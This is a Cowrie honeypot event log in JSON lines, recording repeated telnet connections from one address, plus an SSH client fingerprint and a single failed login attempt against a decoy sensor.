{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.234690Z","src_ip":"148.230.169.229","session":"69c098abb098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8222873210907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.280895Z","src_ip":"51.161.172.108","session":"a5595d80959f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62627601623535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.285660Z","src_ip":"51.161.172.108","session":"5143b5c6f3ca","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.306778Z","src_ip":"148.230.169.229","session":"69c098abb098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.52309799194336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.391472Z","src_ip":"51.161.172.108","session":"ac418e459edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160573720932007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.439333Z","src_ip":"51.161.172.108","session":"a966a99b8cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44934,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6640a91af9d","protocol":"telnet","message":"New connection: 51.161.172.108:44934 (159.203.135.109:23) [session: f6640a91af9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.528358Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44936,"dst_ip":"159.203.135.109","dst_port":23,"session":"9af9d51e389f","protocol":"telnet","message":"New connection: 51.161.172.108:44936 (159.203.135.109:23) [session: 9af9d51e389f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.541242Z"}
{"eventid":"cowrie.session.closed","duration":32.42465329170227,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.546298Z","src_ip":"51.161.172.108","session":"879957dbffde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123","message":"login attempt [gituser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.604994Z","src_ip":"148.230.169.229","session":"69c098abb098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.088430881500244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.644703Z","src_ip":"51.161.172.108","session":"28fe29634145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44870,"dst_ip":"159.203.135.109","dst_port":23,"session":"acbd5822bb12","protocol":"telnet","message":"New connection: 51.161.172.108:44870 (159.203.135.109:23) [session: acbd5822bb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.739640Z"}
{"eventid":"cowrie.session.closed","duration":31.491679668426514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.749926Z","src_ip":"51.161.172.108","session":"26cab2aa2ca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.469854831695557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.810663Z","src_ip":"51.161.172.108","session":"9d3d5fbd14e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44960,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ced58b025ef","protocol":"telnet","message":"New connection: 51.161.172.108:44960 (159.203.135.109:23) [session: 8ced58b025ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.860871Z"}
{"eventid":"cowrie.session.closed","duration":32.584177017211914,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.972574Z","src_ip":"51.161.172.108","session":"f7ac5bb3c5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":44962,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c0b553fb03","protocol":"telnet","message":"New connection: 51.161.172.108:44962 (159.203.135.109:23) [session: c9c0b553fb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:54.978117Z"}
{"eventid":"cowrie.session.closed","duration":31.76710534095764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.051396Z","src_ip":"51.161.172.108","session":"246618aecb83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396651029586792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.142630Z","src_ip":"51.161.172.108","session":"8ad6457922c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834745407104492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.194324Z","src_ip":"51.161.172.108","session":"8c2fd281e900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86298131942749,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.385974Z","src_ip":"51.161.172.108","session":"ced327a83ef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9856efca3d03","protocol":"telnet","message":"New connection: 51.161.172.108:45016 (159.203.135.109:23) [session: 9856efca3d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.457353Z"}
{"eventid":"cowrie.session.closed","duration":30.714454174041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.476007Z","src_ip":"51.161.172.108","session":"7dc768defad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43254828453064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.502792Z","src_ip":"51.161.172.108","session":"479a8e3a75c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.671388Z","src_ip":"148.230.169.229","session":"69c098abb098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.955461978912354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.696731Z","src_ip":"51.161.172.108","session":"971dd6f49eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45072,"dst_ip":"159.203.135.109","dst_port":23,"session":"51a19a3381ef","protocol":"telnet","message":"New connection: 51.161.172.108:45072 (159.203.135.109:23) [session: 51a19a3381ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.750094Z"}
{"eventid":"cowrie.session.closed","duration":31.195302963256836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.871871Z","src_ip":"51.161.172.108","session":"7b27ccf3fe34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45088,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf4724ce207","protocol":"telnet","message":"New connection: 51.161.172.108:45088 (159.203.135.109:23) [session: eaf4724ce207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.902094Z"}
{"eventid":"cowrie.session.closed","duration":31.51765727996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.908018Z","src_ip":"51.161.172.108","session":"75e9ed8b9d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161656379699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:55.979278Z","src_ip":"51.161.172.108","session":"78c9cb000a04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71e8515d06a","protocol":"telnet","message":"New connection: 51.161.172.108:45140 (159.203.135.109:23) [session: e71e8515d06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.227955Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45124,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5ee4b75554e","protocol":"telnet","message":"New connection: 51.161.172.108:45124 (159.203.135.109:23) [session: c5ee4b75554e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.286503Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45156,"dst_ip":"159.203.135.109","dst_port":23,"session":"c74e0f653262","protocol":"telnet","message":"New connection: 51.161.172.108:45156 (159.203.135.109:23) [session: c74e0f653262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.334543Z"}
{"eventid":"cowrie.session.closed","duration":30.939138889312744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.347283Z","src_ip":"51.161.172.108","session":"b4d768e6073d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"170b93919cf5","protocol":"telnet","message":"New connection: 51.161.172.108:45198 (159.203.135.109:23) [session: 170b93919cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.512037Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45182,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea42666ff1cb","protocol":"telnet","message":"New connection: 51.161.172.108:45182 (159.203.135.109:23) [session: ea42666ff1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.561526Z"}
{"eventid":"cowrie.session.closed","duration":30.92826271057129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.668662Z","src_ip":"51.161.172.108","session":"7b2133e43dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45240,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc171fd4fe4b","protocol":"telnet","message":"New connection: 51.161.172.108:45240 (159.203.135.109:23) [session: fc171fd4fe4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.706308Z"}
{"eventid":"cowrie.session.closed","duration":31.745951414108276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.781960Z","src_ip":"51.161.172.108","session":"dd009b218fd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.309260368347168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:56.945170Z","src_ip":"51.161.172.108","session":"3b0f787fbcb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.644549131393433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.030492Z","src_ip":"51.161.172.108","session":"280287d668ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45338,"dst_ip":"159.203.135.109","dst_port":23,"session":"f692d29b74b4","protocol":"telnet","message":"New connection: 51.161.172.108:45338 (159.203.135.109:23) [session: f692d29b74b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.177090Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45362,"dst_ip":"159.203.135.109","dst_port":23,"session":"4206ae0037d4","protocol":"telnet","message":"New connection: 51.161.172.108:45362 (159.203.135.109:23) [session: 4206ae0037d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.225266Z"}
{"eventid":"cowrie.session.closed","duration":30.9650239944458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.239170Z","src_ip":"51.161.172.108","session":"f6ee00ce2426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552562952041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.259260Z","src_ip":"51.161.172.108","session":"e0b7ae5858cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19190526008606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.306032Z","src_ip":"51.161.172.108","session":"df41b4c16691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08628273010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.317863Z","src_ip":"51.161.172.108","session":"052dac71512d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.13288068771362,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.324016Z","src_ip":"51.161.172.108","session":"4b851a7592f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9125497341156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.374184Z","src_ip":"51.161.172.108","session":"cc8ece537b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93215775489807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.591434Z","src_ip":"51.161.172.108","session":"ea9650b0ba3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.464415788650513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:57.658812Z","src_ip":"51.161.172.108","session":"35d81622ff03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.447286128997803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.202208Z","src_ip":"51.161.172.108","session":"d227e94536a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506032705307007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.256115Z","src_ip":"51.161.172.108","session":"eebe38d2757c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45422,"dst_ip":"159.203.135.109","dst_port":23,"session":"882b07163671","protocol":"telnet","message":"New connection: 51.161.172.108:45422 (159.203.135.109:23) [session: 882b07163671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.441036Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45474,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba623dc45f8","protocol":"telnet","message":"New connection: 51.161.172.108:45474 (159.203.135.109:23) [session: eba623dc45f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.475532Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45442,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e6d744f7bf","protocol":"telnet","message":"New connection: 51.161.172.108:45442 (159.203.135.109:23) [session: d5e6d744f7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.479318Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45154,"dst_ip":"159.203.135.109","dst_port":23,"session":"5552da9dd30f","protocol":"telnet","message":"New connection: 51.161.172.108:45154 (159.203.135.109:23) [session: 5552da9dd30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.485173Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45650,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd11bc0d011","protocol":"telnet","message":"New connection: 51.161.172.108:45650 (159.203.135.109:23) [session: 5bd11bc0d011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.519575Z"}
{"eventid":"cowrie.session.closed","duration":30.764854669570923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.528601Z","src_ip":"51.161.172.108","session":"029b6ad4e2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45514,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62d3ca2a7cc","protocol":"telnet","message":"New connection: 51.161.172.108:45514 (159.203.135.109:23) [session: a62d3ca2a7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.603882Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45476,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a3efe4db7dd","protocol":"telnet","message":"New connection: 51.161.172.108:45476 (159.203.135.109:23) [session: 4a3efe4db7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.609524Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45488,"dst_ip":"159.203.135.109","dst_port":23,"session":"76aec01d75c3","protocol":"telnet","message":"New connection: 51.161.172.108:45488 (159.203.135.109:23) [session: 76aec01d75c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.638984Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45504,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4c1e8c1cac","protocol":"telnet","message":"New connection: 51.161.172.108:45504 (159.203.135.109:23) [session: 0b4c1e8c1cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.700085Z"}
{"eventid":"cowrie.session.closed","duration":31.00460147857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.763818Z","src_ip":"51.161.172.108","session":"294374307581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36721706390381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.775975Z","src_ip":"51.161.172.108","session":"ea22dab1a048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76977194907","protocol":"telnet","message":"New connection: 51.161.172.108:45558 (159.203.135.109:23) [session: b76977194907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:58.824835Z"}
{"eventid":"cowrie.session.closed","duration":30.334256887435913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.144644Z","src_ip":"51.161.172.108","session":"d6ab68841859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073241472244263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.174937Z","src_ip":"51.161.172.108","session":"29cbf1e06d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60434,"dst_ip":"159.203.135.109","dst_port":23,"session":"e734207d2c58","protocol":"telnet","message":"New connection: 51.161.172.108:60434 (159.203.135.109:23) [session: e734207d2c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.222430Z"}
{"eventid":"cowrie.session.closed","duration":31.197295904159546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.247797Z","src_ip":"51.161.172.108","session":"820ec1c4b551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685439586639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.368866Z","src_ip":"51.161.172.108","session":"9d6f95ecedbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60444,"dst_ip":"159.203.135.109","dst_port":23,"session":"c28aff6324bd","protocol":"telnet","message":"New connection: 51.161.172.108:60444 (159.203.135.109:23) [session: c28aff6324bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.455255Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60474,"dst_ip":"159.203.135.109","dst_port":23,"session":"f40b58e94de5","protocol":"telnet","message":"New connection: 51.161.172.108:60474 (159.203.135.109:23) [session: f40b58e94de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.472901Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60486,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf29cad023e5","protocol":"telnet","message":"New connection: 51.161.172.108:60486 (159.203.135.109:23) [session: cf29cad023e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.634212Z"}
{"eventid":"cowrie.session.closed","duration":31.87407946586609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.642510Z","src_ip":"51.161.172.108","session":"90f1951a89a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555182695388794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.758045Z","src_ip":"51.161.172.108","session":"caed23788623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02131175994873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:41:59.773880Z","src_ip":"51.161.172.108","session":"bdd5d83c1a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.853975296020508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.160627Z","src_ip":"51.161.172.108","session":"82448bcaef86","protocol":"telnet"}
